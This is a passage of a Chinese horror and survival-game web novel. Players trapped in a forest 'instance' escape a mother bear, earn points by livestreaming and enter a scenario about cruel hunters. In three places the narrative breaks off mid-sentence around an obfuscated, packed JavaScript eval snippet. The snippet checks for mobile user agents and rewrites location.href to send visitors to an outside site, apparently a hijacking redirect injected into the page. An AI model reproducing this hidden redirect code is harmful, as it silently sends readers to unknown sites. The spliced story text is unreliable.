“鬼……不对,尸体!那绝对是一具可以直立行走的尸体!!”李祈昭抱着脑袋崩溃道。 “是尸体,还是……”黎向辞意味深长地笑了下,眼神似是在欣赏面前人的恐惧,“人皮?” 此话一出,李祈昭顿时魂飞魄散。 “人、人皮?”他抖的像个筛子,“那会是谁披着……” 话音未落,窗户被粗暴的敲了两下,外面那东西喊:“人,进!” 李祈昭害怕的简直要哭了。 黎向辞却把人往窗边推了推,说:“它如果能隔着木屋伤害我们,就不会一直敲门了。”他的声音清冽,略带着些许蛊惑的意味:“你难道就不想亲眼看看外面到底是个什么东西吗?只有知道了那是什么东西,我们才能找到出去的办法。” 人都是有求生本能的,况且黎向辞说的话也没错。 不过比起让一个陌生人掌握情况,倒不如他自己一探究竟。 李祈昭抚了抚剧烈起伏的胸口,跟黎向辞对视一眼,最后鼓足勇气重新趴回了窗前。 李祈昭强忍着生理性反胃尽量不去看那只干巴巴的眼睛。 他的目光逐渐下移,终于在煤油灯燃尽的最后一刻看见了黑色的茂盛毛发—— “啊!!!!” 李祈昭毛骨悚然地尖叫,像一只失控了的野狗一般撞开黎向辞缩回了床上。 熊!! 外面站着的是一只披着人皮的黑熊!! 与此同时,黑熊标本的方向传来了异样的声响。 4. 黑熊 那声音断断续续,似是悲伤的呜咽,只不过听起来异常耳熟。 两人默契地噤声看向黑熊标本的方向,片刻后,李祈昭猛地惊恐道:“为什么那么像我的声音!!” 熊这种生物果然聪明,不仅能模仿人类的模样骗人开门,还能学出来听过一次的呜咽声——甚至还会流眼泪。 衣柜上的那串水痕就是最有力的证明。 “你再叫大点声,看它能不能说出来一整句话。”黎向辞说。 李祈昭被吓得立马捂住了嘴巴,浑身颤栗得厉害。 门外黑熊的耐心已经消耗殆尽,尤其是在听到屋子里面的哭声后,原本还算礼貌的敲门行为逐渐转变为急躁地捶打。 毫不夸张地说,整个木屋都因此变得岌岌可危。 母熊极其护崽,所以黎向辞推测,里面这个已经被做成标本的小黑熊是外面那只大熊的崽子。 小熊死了,母熊必定陷入狂暴状态,就算他们身手再好,也不可能跟体型是他们好几倍的黑熊硬拼个你死我活,死的只会是他们。 “现在怎么办,我不想当第一个死掉的人呜呜呜呜……”李祈昭蜷缩着身体不断啜泣,“为什么我们一上来就遇到这种事情,怎么这么倒霉啊……” 黎向辞说:“也不是完全没有办法。” 李祈昭眼睛顿时亮了起来,“你想到什么了?” “黑熊的嗅觉和听觉很灵敏,但是视力很差。”黎向辞说,“如果你能贡献一点你的血出来,我们说不定就有跑出去的希望。” 李祈昭顿了下,战战兢兢地问:“……贡献多少?” 黎向辞从墙上拿下斧头:“一盆吧。” 李祈昭:“???” 这是一点?!真接一盆血出来,别说跑了,他没当场死掉就不错了! “全用我的血?”他拧眉往后退了点,“我们一人放一些不行吗?” “我有凝血障碍,怕疼,晕血,身体也不好,在这种鬼地方被划出来一个小伤口就只能等死了。”黎向辞说着轻咳了两声,声音压低了些,听起来还真有那么几分虚弱,“你难道真的忍心看着我在你面前咽气吗?我活着还能替你洗衣做饭,在你洗澡的时候替你望风,千万不要小瞧我们之间的羁绊啊……” 咚咚咚! 黑熊砸门的声音愈发狂躁,再加上黎向辞地喋喋不休,李祈昭原本就脆弱的神经被不断拉扯、揉搓,最后紧绷成一根即将断裂的细线。 “我凭什么相信你!”他痛苦地捂着脑袋大喊:“如果你趁机杀了我怎么办——你别过来!!” “放心,我没有滥杀无辜的癖好。”黎向辞说着握紧斧头靠近了李祈昭,紧接着不顾他的反抗,强行拉起他的一条胳膊砍了下去—— “啊啊啊啊啊啊!” 预料中骨肉分离的强烈疼痛并没有出现,只有斧子快速划破肌肤的细密凉意,几秒后才开始隐隐作痛。 李祈昭抹了一把眼泪,半张着嘴巴茫然地望向正在用被子接他血液的青年。 黎向辞笑了下:“胳膊上放点血有益身心健康。” 李祈昭:“……”信你个大头鬼。 鲜红的血液顺着细小的伤口缓慢匀速地往下落,黎向辞颇有耐心地等着,丝毫不受母熊连吼带砸的巨大动静影响。 倒是被开了口子的李祈昭等不及了,母熊每嘶吼一声,李祈昭便抖一下。 他焦急万分地问:“要不再划大一点?” 黎向辞看傻子似的瞥了他一眼:“你如果真的想死,我现在就可以用斧子劈了你。” “我这不是害怕黑熊先一步拆了木屋闯进来吗?”李祈昭感觉有些头晕,“到时候我的血不就白放了。” 黎向辞说:“来得及。” 话落,他利索地把沾染了一大片新鲜血迹的被子扔在了小熊标本上,从还算干净的床单上扯下一根布条把李祈昭胳膊上的伤口紧紧绑了。 期间李祈昭疼的直掐他,黎向辞吃痛地一巴掌把他的手拍开了,“我工伤收费很高的。” 李祈昭不敢动了。 “跑的时机你自己找,被熊发现我概不负责。”黎向辞说,“切记过程中不要发出任何声音,不然黑熊就会以为你是在挑衅它。” 李祈昭紧张地吞咽:“……我知道了。” 交代完毕,黎向辞提着同样沾了李祈昭血液的斧头走到木屋门口,在李祈昭极度惊恐的注视下猛地拉开了小木屋摇摇欲坠的门,在黑熊进门的一瞬间隐于门后,迅速把手里的东西扔向了小熊标本。 腥臭的斧头从体型庞大的母熊身旁划过,它瞬间反应过来怒吼着追了上去,在嗅到一股浓烈的人类鲜血味道后不由分说用悚然的尖锐牙齿撕咬着身下的猎物,斧头被它嚼出了薯片的既视感。 黎向辞眉间微动,幸亏没想着用斧头砍它,不然就挂了。 黑熊牙齿刺透皮肉和骨骼进入身体的咔嚓声听的人头皮发麻,李祈昭被吓得用力捂住了嘴巴。 现在正是跑的最佳时机! 李祈昭也顾不上因为失血而发软的双腿和模糊发昏的双眼,铆足劲蹭过黎向辞的手臂闭上眼睛冲出了屋外,闷着脑袋咬牙拼命往前跑,最后在一颗古树旁停下,惊魂未定地回头借着刚冲破云雾的月光看黎向辞的情况。 黎向辞也从小木屋里出来了,不过他没有第一时间逃离,而是俯身在灌木丛里翻找着什么。 这个青年到底想干什么?! 如果母熊反应过来被设计咬了自己孩子的尸体,肯定会把他撕成碎片的!! 李祈昭不禁替他捏了把汗,躲在了古树后面。 黎向辞在找枪。 被他刻意藏起来的那把血迹斑斑的猎枪。 其实他最初在门口看木牌时就发现木牌旁躺着一把枪,出于私心,他并没有告诉李祈昭,而是用木牌和枯草把枪遮起来了。 不过母熊在来回踱步的时候无意间把枪踢走了,夜晚的能见度又低,黎向辞找起来有些费劲。 与此同时,屋里的母熊终于察觉到了不对,被浓烈人类鲜血掩盖起来的是它万分熟悉的味道。 它在原地呆愣了片刻,倏地一把扯开被它误认为人皮的被子,眼前赫然出现了自己孩子残缺的尸体标本。 母熊彻底崩溃了。 它发了疯似的趴在早已咽气的孩子身上嘶吼,那撕心裂肺的吼声穿透耳膜,将本就可怖的森林衬的尤为悚然。 黎向辞被震的头疼,找枪的速度慢了不少。 可母熊的耳朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716931|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一动,听见了灌木丛中的异响,伴随着一声比先前更加恐怖的怒吼,精准地朝黎向辞所在的方向奔了过去。 眼看那双锋利无比的熊爪就要落在他肩膀上,黎向辞及时压低身体利索往旁边一滚,顺手摸到了那把枪身都被踩的有些变形的猎枪。 但愿他还记得这种古老的双/管/猎/枪怎么用。 黎向辞熟练地查看了下弹夹,在看见里面还有四发子弹后蹙了下眉,随即往后一滚调整距离并顺势起身,端起枪对着母熊就开了一枪。 在扣动扳机的那一刻,枪口喷射出噼里啪啦的零碎火焰,母熊紧接着踉跄几步靠在了木屋上,嘴里不断发出痛苦的嚎叫,一股令人作呕的腥臭味扑面而来。 在这种危急的情况下,黎向辞只能确保自己一定打的中,但是却不知道具体击中的是母熊哪个部位。 可惜了,没有一枪毙命。 不过枪口的火焰让他短暂了看清了母熊所在的位置。 黎向辞立马调整枪口,在母熊试图扑上来之时对准它的脑袋又开了一枪。 砰! 巨大的枪声响起,母熊的动作登时僵在半空中,几秒后扑通倒在了地上,扬起一片混杂着脑浆的肮脏尘土。 一阵骚动后,森林再次归为寂静。 黎向辞举着枪走到母熊尸体旁,确认它完全没了气息后才放心地扣出余下的两颗子弹,把枪随手丢在了灌木丛中。 一直在远处躲着的李祈昭整个人都被吓傻了,在听到第一声枪响后便恐惧地捂住了耳朵,双手颤抖的厉害。 哪儿来的枪?这个青年竟然会用枪?! 他绝对不是一般人!! 跟一个不似表面温和、且会使用枪械的人睡过一张床,李祈昭后知后觉地浑身冒冷汗,庆幸自己居然还有命活着。 不过若是一起遇到这件事情的不是他,那自己是不是早就被狂暴的母熊弄死了…… 想到这儿,李祈昭连打了好几个寒颤。 在他缓神的间隙,黎向辞已经走到了他面前,挑眉喊了句“喂”。 李祈昭如初见时没出息地抖了下,下意识后退了好几步。 他几乎是立马就反应过来了这动作很不礼貌,但已经为时已晚,面前青年看向他的目光多了些许异样。 “我……”李祈昭哑着声音开口解释,憋了半天却只僵硬地蹦出来一句:“对不起。” 自己想办法救下来的人非但不感激,甚至还害怕地后退,放在谁身上都会很不爽。 这青年不会顺便把他也杀了吧?! 不要啊!!他这条命可是好不容易才捡回来的!! 但是黎向辞只是打量了他几秒,然后又恢复了白天那副懒洋洋的模样。 “人之常情,习惯了。”黎向辞耸肩,“我决定回小木屋睡个回笼觉,一起?” 他说他习惯了?!难道现实里有很多人害怕他吗?! 李祁昭难以置信地动了动唇,最终还是没将那份好奇问出口。 “……一起。”他吞咽了下,“我没别的地方去。” 这是实话中的实话。 反正副本里不能随意杀人,他只有这一个选择。 黎向辞笑着点点头,先一步转身走了。 5. D-残忍的猎户 两人在腥臭杂乱的小木屋里将就了一夜。 天刚蒙蒙亮,黎向辞就被李祈昭干呕的声音给吵醒了,看李祈昭扶着门边狂吐的模样,明显就是憋了一个晚上。 时间尚早,黎向辞打了个哈欠,靠在床头看手环上显示的副本实时存活情况。 仅仅过了一晚,人数便由200降为了182,其中有179人的积分仍然为0,与刚进入森林时没什么变化。 剩下三人的名字后面被分别冠以金、银、铜三个材质的皇冠,积分由高到低的数量排名为:198、20、7。 极其夸张的差距。 第一名叫邰术,积分末尾被缀了一句话:直播达人。 黎向辞点了点他的名字,想试试能不能查看详细资料,结果系统冷不丁弹出来了一个红色的提示框。 [查看玩家资料需花费3积分,您的余额不足,请充值] 黎向辞:“……” 这荒郊野外的,让他上哪充去。 黎向辞想了想,最后打开了自己被遗忘在角落已经落灰了的直播系统。 本以为没人看,结果出乎意料的直播间在线人数竟然为1,并且这位[凶残的小灰兔]同学在线时长与副本正式开始后的时长一致,说明一直蹲在他的直播间。 铁粉? 那就你了,小倒霉蛋。 “小灰兔在不在。”黎向辞敲了敲手环屏幕。 凶残的小灰兔:……? 太好了,是活的。 黎向辞:“你为什么看这么久都没有给我打赏?想钓我是不是?” 凶残的小灰兔:??? 黎向辞:“打问号什么意思?送点礼物看看实力。” [凶残的小灰兔]打赏“加油鸭”×1。 [系统提示:1积分已到账,请玩家查收] “谢谢宝宝的打赏。”黎向辞立马笑着冲着手环抛了个媚眼,“能多来几个吗宝宝?一积分好像不太够呢。” 小灰兔沉默了。 漫长的一分钟后—— [凶残的小灰兔]打赏“逃生飞船”×2。 [系统提示:4积分已到账,请玩家查收] [凶残的小灰兔已离开直播间,当前在线人数为0,再接再厉] 由于小灰兔自愿打赏的五积分,黎向辞一跃成为了副本积分排行榜的第四名。 他心情不错地扬了下嘴角,没有着急查看第一名的详细资料,而是顺手打开了积分总榜。 按照系统规则,积分总榜的前一百名身份信息可自主选择保密或者公开,选择保密的玩家名字是乱码编号。 黎向辞在看到总榜第一乱码后的积分总量时,眸中闪过几分不可思议。 745784859,整整九位数。 他连在直播间要几个积分都那么艰难,这特么是人能攒出来的?! “怎么了?”吐完的李祈昭感觉胃里好多了,一扭头看见黎向辞的表情不太对劲,忍不住问:“你又被手环电了吗?” “没有。”黎向辞摆摆手,从床上下来了,“走吧,去积分点。” 说不定积分点可获得的积分会有很多。 “好。”李祈昭见他不想说,也就识趣地没多问。 黎向辞在退出积分总榜的时候又忍不住瞥了一眼第一名的积分数量。 嗯?9457864? 怎么瞬间少了两位数? 黎向辞仔细一看,发现这并不是他原先看到的那个第一名,编号不一样。 挺奇怪的。 不过物竞天择,适者生存,诡异副本的总榜第一变换更迭速度快简直再正常不过了。 “对了,你能告诉我你的名字吗?”李祈昭忽然出声打断了他的思绪,颇为尴尬地挠挠头,“我现在都不知道该怎么叫你。” “黎向辞。” 李祈昭愣了下,这个名字不就是刚刚在副本积分榜看到的新晋第四名吗? 黎向辞猜出来了李祈昭在想什么,但是懒得跟他讨论自己,便上前拍了拍他的肩膀,把他想说的话堵了下去,“第一个积分点离我们这里挺远的,要抓紧时间出发了。” 李祈昭这才恍然回神,赶忙点了点头:“听你的。” 身份什么的以后再说吧,现在最主要的任务是想办法赚积分离开这里。 - 即使是白天,但由于森林里笼了一层朦胧的瘴气,走起来依然阴森。 也许是怕他们迷路,手环还贴心地在地图上标出了几十条路线,黎向辞毫不犹豫选了距离最短的那条。 除了地形更加崎岖、原始生物出现的几率更大些,其余没有什么好害怕的。 一路上两人还算幸运,没有正面撞见那些看起来就凶猛的野兽,只是躲避起来有些浪费时间,因此他们抵达积分点的时间比预估的多了一个多小时。 说是积分点,实际上就是一大片明显被火烧过的空地,空地中央是一辆损坏的不成样子的越野车。 四周无人,黎向辞带着李祈昭走了过去,此时手环忽然“叮咚”一声,提示他已进入计分区域,距离推演开始还差三个人。 哦,还有人数要求。 他最讨厌等人了。 黎向辞无奈收起目光,干脆趁这时间走近废弃的越野车仔细观察,却惊讶地发现越野车副驾驶位置上坐着一个被烧的面目全非的尸体,并且死亡姿势有些奇怪。 只见尸体的脑袋紧紧抵着车窗,玻璃上有被砸出来的轻微裂纹,双手几乎与门把手融为一体,腰部诡异地扭曲了一百八十度,脚尖朝前,胸却完全贴在了车门上。 能看出来,这具尸体是被人硬生生拦腰砍断后锁在车里放火烧死的。 这是有多恨啊。 黎向辞见多了这种场面,确认周围没有其他值得注意的地方后便找了个地方坐着等人,顺便花费三积分查看了邰术的详细资料。 [姓名:邰术] [年龄:25岁] [职业:职业拳击手] [副本荣誉:五次积分第一,六次积分第二,十次积分第三] [直播荣誉: 1.直播间最高在线人数:一百七十万 2.打赏总额:26462积分 3.最高荣誉称号:S级人气王] 资料旁边还附了张卫星角度偷拍的照片。 黎向辞没想到,这人竟然是一个长相很有少年感的俊朗男人,看起来与他的职业反差感还挺强的。 正看着手环,不远处传来了一阵不急不缓的脚步声。 原本还战战兢兢在越野车附近找线索的李祈昭听到声音,忙不迭退到了黎向辞身旁,轻声道:“好像有人过来了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716932|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “听见了。”黎向辞按灭手环不慌不忙地起身,刚掀起眼皮,一个五官极其漂亮的高挑青年猛地撞进了他的眼底 青年微微上挑的眼尾和唇角勾起的浅淡弧度让黎向辞想到了狐狸,给人一种灵气却很狡黠的感觉,一侧的红色挑染在阳光下闪着桀骜的光。 如果不是因为青年浑身上下都散发着强烈的侵略气息,他甚至会误以为这是个极需保护的小可怜。 本以为青年会在踏入计分区域后停下,结果这家伙却径直朝他走了过来,眸中不明情绪闪动。 黎向辞:“?” 这人不会想抱他吧? 就在青年即将触碰到他的瞬间,黎向辞轻巧往旁边一闪,熟练地握住青年的手腕反手把人像罪犯一样重重按在了树上。 青年下意识想挣扎,却被他更加用力控制住了。 黎向辞语气轻蔑,挑眉道:“这位小姐,你这是迷路了?” 听了这话,青年也不生气,反而笑意更甚,“美人,你的力气比我想象的还要大。” “当然,不然怎么能把你压在下面。”黎向辞说着将腿挤进青年两腿中间,强势地把他的两条腿分开,让他处于一种相对来说没有安全感、且不容易反抗的姿势,“想跟我组队就老实点,我不喜欢不听话的同伴。” 一旁的李祈昭闻言倒是点头如捣蒜,生怕黎向辞把他一个人丢在这荒郊野岭,到时候光哭的回声都够他吓死自己好几回了。 “明白。”青年这次出乎意料地没有回怼,他不舒服地动了动肩膀,无奈笑道,“但是你能不能先把我放开?我保证会乖乖听——” “天啊!这是在干什么!”身后忽然响起一个女人夹杂着兴奋的惊讶喊声,“你们是在玩……观众play?我能加入吗?!” 旁边的男人不解拧眉:“这么多人你说什么呢!何况他们两个都是男的……” “闭嘴!你懂什么!” 观众什么?什么play? 黎向辞蹙了下眉,几乎是立马就明白了她说的是什么意思,而且他现在跟青年的姿势确实有点纠缠不清,很容易被人误会。 “不好意思,我没兴趣跟一个刚认识的人野/战。”黎向辞顺势放开青年,扭头一看,来人竟是先前从他面前一晃而过的那对小情侣。 正好,人齐了。 黎向辞刚要开口,身后的青年却忽然凑到他耳边吹了口气,语气暧昧至极,“嵇无樾,我的名字。” 黎向辞表情复杂地后退一步,想说谁问你了能不能不要这么自恋报个名字跟相亲似的,那对小情侣却已经按照手环的提示踏进了计分区域。 霎时间,所有人都感到天旋地转,眼前的景象犹如被激起的涟漪一般逐渐化为飘动的水波纹,最后扭曲成一片亮白色。 滋滋……滋滋…… 伴随着刺耳的电流声,冰冷的机械音再度响起—— [人数已达标准,推演载入中……] [载入成功] [推演名称:残忍的猎户] [推演等级:D] [推演积分(总计):10/15] [故事背景:一对小情侣开车来森林探险,不料却遇到了五个鬼迷心窍的猎户……] 多少积分?最多只有十五? 黎向辞越来越觉得之前那个总榜第一不当人了。 6. D-残忍的猎户 待五人从强烈的眩晕感中挣扎出来,周围的场景已经完全不一样了,白天也变成了黑夜。 四面是高不见顶的枯树,脚下是泥泞的黏湿泥土,不明鸟类低低地盘旋在他们头顶,发出嘶哑刺耳的叫声。 空气中飘着一层浑浊的白色雾气,挂满水珠的半人高杂草犹如牢笼一般将五人围困在中间,抬眼便是望不到尽头的黑暗。 倏地起了一阵阴凉的风,女人打了个哆嗦,直往男朋友怀里钻。 李祈昭害怕地深吸一口气,颤抖着抱住了身旁人的胳膊,轻声问道:“我们接下来要干什么啊?” “不知道。”黎向辞低头看了看自己身上的猎人服装,“找地方休息?” “赞同,作为一个正常人,天黑了应该老老实实待在屋子里睡觉,而不是在这种鬼地方傻站着。”嵇无樾仗着黎向辞视线受阻,大摇大摆地伸手去搂他的腰吃豆腐,结果怎么也揽不到头。 “不是,”他难以置信地拧眉,“你腰怎么那么粗?藏挺深啊。” 黎向辞不明所以:“什么?” 还没等嵇无樾解释,另一边的李祈昭就爆发出了一声惊叫,“有有有有有鬼爪子在摸我!!” 黎向辞:“?” 嵇无樾:“……”该死,搂错人了。 在三人说话的间隙,耳尖的女人听到了来自不远处窸窸窣窣的奇怪声响,她颤颤巍巍地伸手指着前面,“那里……好像有东西……” 几人顺着她手指的方向看过去,仔细辨认,果然看到了一个体型跟强壮男人差不多的黑影,而且这黑影似乎戴着帽子,能隐约能看到宽大的帽檐。 黎向辞本以为是稻草人或者被谁遗弃的人体模型,结果那个黑影毫无预兆地抬了下胳膊,好像是在冲他们招手。 他顿了下,忽然觉得那影子有种不正常的肥胖感,而且只能看见上半身,双腿就好像是被什么东西挡住了一样,只有一片模糊。 一阵令人头皮发麻的寂静过后,黑影再次僵硬地抬起胳膊左右晃了晃,肥壮的体态在朦胧的雾气里显得尤为骇人,就像是正藏着电锯狩猎他们的屠夫。 “喂!” 那人影倏地喊了声,摇摇晃晃地往前走了一步。 在场的人都被吓了一跳,李祈昭更是连拖带拽抱着黎向辞的胳膊硬生生往后退了好几米,更可气的是旁边的嵇无樾见状也非要凑个热闹,一边毫无感情地叫着“我也好害怕啊”,一边往他怀里钻,局面顿时有些混乱。 最后黎向辞忍无可忍,强行把两人从自己身上扒了下去,却意外触到一片冰凉。 他蹙着眉环视一周,这才发现除了他以外每个人身上都背了猎枪。 猎枪是猎户的标配,没有的人才奇怪,怎么可能会有人出来打猎不带枪?这根本就不合理。 “找什么呢,美人。”嵇无樾凑过来,神秘地笑道:“我知道你的枪在哪里。” 黎向辞瞥他一眼:“哪里?” 嵇无樾贱兮兮地笑了两声:“你裤子里啊。” 黎向辞:“……” 他深吸一口气,目光越过面前这个骚货看向不远处的黑影,随即心里咯噔一下,正色道:“它怎么不见了。” “真的假的?”嵇无樾好奇扭头,结果还没来得及看清什么,屁股上就结结实实挨了一脚。 “哎我草!”他不受控制地往前踉跄几步,扑通趴在了地上。 “希望明天起床你的枪还好使。”黎向辞居高临下睨了他一眼,率先带头朝黑影的反方向走去,“走了,找住的地方。” 三人无暇同情嵇无樾,赶忙小跑着跟了上去。 毕竟这里只有黎向辞看起来靠谱一些,谁会想错过抱大腿的机会呢。 嵇无樾:“ ……” 真是一个下死手的美人和一群绝情的陌生人。 这世界没爱了。 - 前面的路越走越开阔,月色逐渐脱离高大植物的遮挡均匀地洒下来,除了潮湿的空气压的人有些胸闷外,周遭的环境还算正常。 大概直走了十几分钟,众人面前赫然出现了一辆亮着灯的越野车,一个头发花白、叼着大烟的强壮男人正靠在车前盖上擦枪。 一车一人就像是凭空出现的一样,打了他们一个措手不及。 黎向辞认出了眼前的越野车就是积分点中央被烧毁的那辆,而且他莫名觉得这个男人很眼熟,但是一时间又想不起来在哪里见过。 更奇怪的是,明明他们已经站在男人面前将近一分钟了,但男人仍然在低头仔细地擦着枪,好像没有察觉到几人的存在一样。 “他长得好凶啊。”李祈昭害怕地扯了扯黎向辞的衣角,颤声道:“要不我们还是赶紧跑吧,万一被他发现就不好了。” 紧紧跟在身后的小情侣紧接着附和道:“是啊是啊,副本里的东西还是少接触的好。” 黎向辞没说话,而是自顾自走近了男人。 他注意到男人嘴里燃着的烟并没有被消耗的迹象,所以他推测这是个被动型NPC,需要他们主动上前打招呼才能触发剧情点——毕竟这是个推演游戏,不走剧情是没办法进行下去的。 而且就目前来看,越野车和男人绝对是关键剧情,跳过就会卡关的那种。 黎向辞懒懒地掀起眼皮看了他们一眼,轻描淡写说出了一句令人后背发凉的话。 “要跑你们跑吧,我不喜欢进了游戏还被人追杀。” 除了早有心理准备的李祈昭,那对小情侣直接被他这句话吓得起了一身鸡皮疙瘩。 这青年不会是个在逃重犯吧?!那他们岂不是很危险?! 这对自命可怜的小情侣互相对视一眼,已经开始后悔刚才没有扶嵇无樾一把了。 话说到这份上,黎向辞没有再管他们,而是把目光重新落在了男人身上。 看男人的样子,八成是在等人。 他思忖片刻,上前取下男人嘴里的烟,笑道:“等着急了吧?” 这个大胆的举动把另外三个人吓得不轻,纷纷后退几步时刻准备逃跑。 但只见男人动作一顿,原本混沌的双眼逐渐染上了几分活人的气息。 “哦,你们狩猎回来了,看样子一无所获啊,哈哈哈。”他爽朗地笑了几声,抬起头数了数眼前人的数量,眼里闪过一瞬疑惑:“怎么少了个人?” “不知道。”黎向辞说,“可能已经抄近道先回去了。” 此话一出,男人的表情变得有些古怪,眼神里的善意瞬间降下去一半。 “是吗?”他的语气冷了下去,“那我们先走吧。” 黎向辞注意到了他的变化,立马改口道:“我记错了,他应该是被落在后面了,我们等他一起吧。” 看他这副好像死了人一样表情,跟不跟他走已 男人的脸色这才有所缓和,他从烟盒里抽出一根烟递给黎向辞,“抽着烟等时间过得快。”紧接着,他又对后面抱成一团的人说:“你们先上车,我跟他有话要说。” 李祈昭起先还有些抗拒,但是看到黎向辞接了男人的烟也没有发生什么恐怖的事情,心里也跟着安心了不少。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716933|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >更何况男人又不在车上,估计对他们也造不成什么直接威胁,而且他走了这么久的路,也实在是想找个座位休息一下。 小情侣见李祈昭安稳地坐在了越野车后座上,两人也战战兢兢地打开车门上了车,不过他们留了个心眼,没敢把车门关死。 男人带着黎向辞走到一旁,压低声音说:“你的枪我忘记拿回来了。”他吐了口白雾,拍拍黎向辞的肩膀:“那地方今天住人了,还是赶紧收回来比较好。” 黎向辞对男人说的话一无所知,但为了不被怀疑,他只好假装熟络。 “住人了?”他把烟夹在手指中间把玩,“什么人会住那种地方?” “一对小情侣,看着年龄也不大,来森林探险找刺激呗。”男人忽然问道,“你应该还记得路怎么走吧?” 黎向辞笑了下,“当然。”个屁。 随口说了句话就差点送命了,这时候他敢说不知道么。 “那就好。”男人点了点头,“那等会把我们放在住的地方,你自己开车过去取吧。” 黎向辞:“……” 怎么又多了个住的地方,合着就只给他一个人挖坑啊。 “对了,我感觉那对小情侣怪怪的,而且女方好像有精神病,你去的时候小心点。”男人嘱咐道,“你一定要趁他们不在的时候拿,天亮之前必须回来,听到没有?” 黎向辞问:“为什么要现在去?大半夜的他们不睡觉吗?” “所以我才说他们怪怪的啊。”男人显得有些不耐烦,“你去了就知道了,我怎么会害自己的亲弟弟。” 亲弟弟? 怪不得这么倒霉,合着他角色的定位是这个NPC的亲人啊。 不过这样是不是会有额外的积分?他记得副本说这个推演任务的积分是有两个档次的来着。 男人刚抽完一根烟,嵇无樾便抱着被弄脏了的衣服从黑暗中走出来了。 他没穿上衣,手臂上流畅紧致的肌肉/完/全/裸/露在空气中,宛如雕刻般标准的腹肌在车灯的照射下,映照出完美的弧度,浑身上下都在散发强烈的男性荷尔蒙气息。 黎向辞没忍住多看了几眼。 不得不说,这家伙的嘴虽然欠揍,但是身材也是真的好。 嵇无樾心满意足地扬了下唇角,要的就是这种效果。 男人看了眼天色,催促道:“好了,人到齐了,我们抓紧时间回去吧。”说完,他便转身往越野车的方向走去。 黎向辞要跟上去,却被嘴角带笑的嵇无樾给拦住了。 “我抓到你偷看了。”他轻佻地伸手勾了下黎向辞的裤腰带,“喜欢吗?” “还不错。”黎向辞直言不讳,“如果是在现实中遇见,我可能会忍不住跟你来场一夜情。” “在这里也可以。”嵇无樾看起来蠢蠢欲动,“要不然你也试着勾引勾引我,让我更兴奋一点。” “我不需要勾引谁。”黎向辞用眼尾轻扫他一眼,语气平淡却又透出些不屑来:“没有人能在我面前成功保持冷静,你也不例外。” 本来没感觉憋的难受,被他略带睥睨的眼神这么一看,嵇无樾还真有些燥/热,看向黎向辞的眼神中多了几分玩味。 这位在感情中绝对是上位者级别的,太他妈辣了。 “你们干什么呢!”男人不耐烦地敲了敲车身,“再拖下去就来不及了!” “来了。”黎向辞应了一声,想绕开嵇无樾上车,结果却被快速搂着脖子亲了一口。 “我被你哄高兴了,等会儿我陪你去拿枪。” 7. D-残忍的猎户 男人把驾驶位留给黎向辞后自觉坐在了副驾驶上,期间眼睛一直黏在他身上没离开过,阴森的目光盯的他极其不舒服。 黎向辞忍着动手的冲动启动车子,在心里问候了他的祖宗十八代后,露出一个若无其事地笑容,“哥,累一天了,我有点分不清方向,哪边是南啊?” “累死你算了。”男人瞪了他一眼,随手指了个方向,“那边是南。”他说:“但是南边那条近道昨天被水冲坏了,我们走东边。” 套出来话的黎向辞果断踩下油门:“好嘞哥。” 越野车不算小,但是后座四个人难免有点挤,恶霸嵇无樾从每个人身上抢下来一件薄衣服套在身上,然后强迫李祈昭屈腿坐在他脚边,自己则舒舒服服地往后一靠闭目养神了。 那对小情侣虽然看不惯,但是又觉得嵇无樾也不像是什么善茬,就没多说什么,只敢凑着脑袋悄悄骂了他一句“真是痞子”。 李祈昭本人却没放在心上,他知道自己身量小,在这种位置不够的情况下也只能委屈他,比起被针对踢出队伍,这根本算不了什么。 不过屈腿坐久了有些腿麻,李祈昭单手撑地难受地挪了挪屁股,却意外触到车座下面有个圆柱形的东西。 他动作一顿,下意识把东西捞了出来。 在看清手里抓的是什么东西后,李祈昭顿时被吓到脸色苍白,大叫一声抱住了嵇无樾的小腿,“手指!!人的手指!!” 那根断指被甩飞了出去,正巧掉落在黎向辞的座位旁边。 他用余光扫了一眼,觉得这不是一个成年人的手指,倒更像是被泡肿了的小孩子的手指。 小憩被吵醒的嵇痞子不耐烦地睁开眼,盯着李祈昭空无一物的手看了几秒,用脚不轻不重踢了他一下,说:“在哪儿?我怎么没看见。” “这儿呢。” 话音未落,一个硬邦邦的东西就被从前面扔了回来,不偏不倚砸了一下嵇无樾的脑袋,随即滚落在了李祈昭的身上,紧接着就是一阵杀猪般的嚎叫。 “啊啊啊啊啊啊——” 嵇无樾被嚎的头疼,咬牙威胁道:“闭嘴,再叫就把你踹下去了。” 李祈昭瞬间噤声,双手死死捂住嘴巴不再发出一点声音,只是身体愈发抖得厉害了。 嵇无樾捡起断指看了看,对前座一言不发的男人说:“你不解释一下?” 